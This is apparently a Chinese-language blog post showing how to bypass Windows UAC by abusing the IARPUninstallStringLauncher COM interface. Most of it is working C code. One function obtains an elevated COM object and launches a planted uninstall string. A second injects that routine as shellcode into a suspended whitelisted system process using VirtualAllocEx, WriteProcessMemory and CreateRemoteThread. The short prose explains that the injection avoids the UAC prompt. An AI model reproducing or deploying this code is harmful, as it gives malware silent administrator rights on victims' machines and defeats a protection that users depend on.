[普通]巧用COM接口IARPUninstallStringLauncher绕过UAC

HRESULT CoCreateInstanceAsAdmin(HWND hwnd, REFCLSID rclsid, REFIID riid, __out void ** ppv)

{	

	BIND_OPTS3 bo;

	WCHAR  wszCLSID[50];

	WCHAR  wszMonikerName[300];

	

	StringFromGUID2(rclsid, wszCLSID, sizeof(wszCLSID)/sizeof(wszCLSID[0])); 

	HRESULT hr = StringCchPrintf(wszMonikerName, sizeof(wszMonikerName)/sizeof(wszMonikerName[0]), L"Elevation:Administrator!new:%s", wszCLSID);	if (FAILED(hr))		return hr;

	memset(&bo, 0, sizeof(bo));

	bo.cbStruct = sizeof(bo);

	bo.hwnd = hwnd;

	bo.dwClassContext  = CLSCTX_LOCAL_SERVER;	return CoGetObject(wszMonikerName, &bo, riid, ppv);

}								

int _tmain(int argc, _TCHAR* argv[])

{		

	CLSID  clsid;

	IID iid;

	LPVOID ppv = NULL;

	HRESULT hr;

	PFN_IARPUninstallStringLauncher_LaunchUninstallStringAndWait pfn_LaunchUninstallStringAndWait = NULL;

	PFN_IARPUninstallStringLauncher_Release pfn_IARPUninstallStringLauncher_Release = NULL;	

	if (IIDFromString(L"{FCC74B77-EC3E-4DD8-A80B-008A702075A9}", &clsid) ||

		IIDFromString(L"{F885120E-3789-4FD9-865E-DC9B4A6412D2}", &iid))	return 0;

	

	CoInitialize(NULL);

		

	hr = CoCreateInstanceAsAdmin(NULL, clsid, iid, &ppv);	

	if (SUCCEEDED(hr))

	{

			pfn_LaunchUninstallStringAndWait  = (PFN_IARPUninstallStringLauncher_LaunchUninstallStringAndWait)(*(DWORD*)(*(DWORD*)ppv + 12));

			pfn_IARPUninstallStringLauncher_Release = (PFN_IARPUninstallStringLauncher_Release)(*(DWORD*)(*(DWORD*)ppv + 8));			

			if (pfn_LaunchUninstallStringAndWait && pfn_IARPUninstallStringLauncher_Release)

			{

				pfn_LaunchUninstallStringAndWait((LPVOID*)ppv, 0, L"{18E78D31-BBCC-4e6f-A21D-0A15BBC62D49}", 0, NULL);

				pfn_IARPUninstallStringLauncher_Release((LPVOID*)ppv);

			}

	}

	

	CoUninitialize();	

	return 0;

}

为什么呢？因为执行该提权代码宿主的身份是不可信的,所以我们需要想办法让这段代码在windows的白名单程序中运行.所以很直接的会想到将这段代码注入到诸如计算器,记事本,桌面等等程序中去执行,这样就不会弹出UAC框了。

将提权代码转换为shellcode并注入到白名单程序中执行

关键代码:

BOOL BypassUacWithInject(LPTSTR lpExe)

{

	HMODULE hModule = GetModuleHandle(NULL);

	TCHAR cAppName[MAX_PATH] = {0};

	STARTUPINFO si;

	PROCESS_INFORMATION pi;

	LPVOID lpMalwareBaseAddr;

	LPVOID lpNewVictimBaseAddr;

	HANDLE hThread;

	DWORD dwExitCode;	BOOL bRet = FALSE;

	lpMalwareBaseAddr = g_ByPassUac;

	AddUninstallItem(lpExe);

	GetSystemDirectory(cAppName, MAX_PATH);

	_tcscat(cAppName, InjectTarget);

	ZeroMemory(&si, sizeof(si));

	si.cb = sizeof(si);

	ZeroMemory(&pi, sizeof(pi));	if (CreateProcess(cAppName, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED,	NULL, NULL,	&si, &pi) == 0)

	{		return bRet;

	}

	lpNewVictimBaseAddr = VirtualAllocEx(pi.hProcess,		NULL,

		SizeOfBypassUac,

		MEM_COMMIT | MEM_RESERVE,

		PAGE_EXECUTE_READWRITE);	if (lpNewVictimBaseAddr == NULL)

	{		return bRet;

	}

	WriteProcessMemory(pi.hProcess, lpNewVictimBaseAddr, (LPCVOID)lpMalwareBaseAddr, SizeOfBypassUac, NULL);

	hThread = CreateRemoteThread(pi.hProcess, 0, 0, (LPTHREAD_START_ROUTINE)lpNewVictimBaseAddr, NULL, 0, NULL);

	WaitForSingleObject(pi.hThread, INFINITE);

	GetExitCodeProcess(pi.hProcess, &dwExitCode);

	TerminateProcess(pi.hProcess, 0);

	DeleteUninstallItem();	return bRet;

}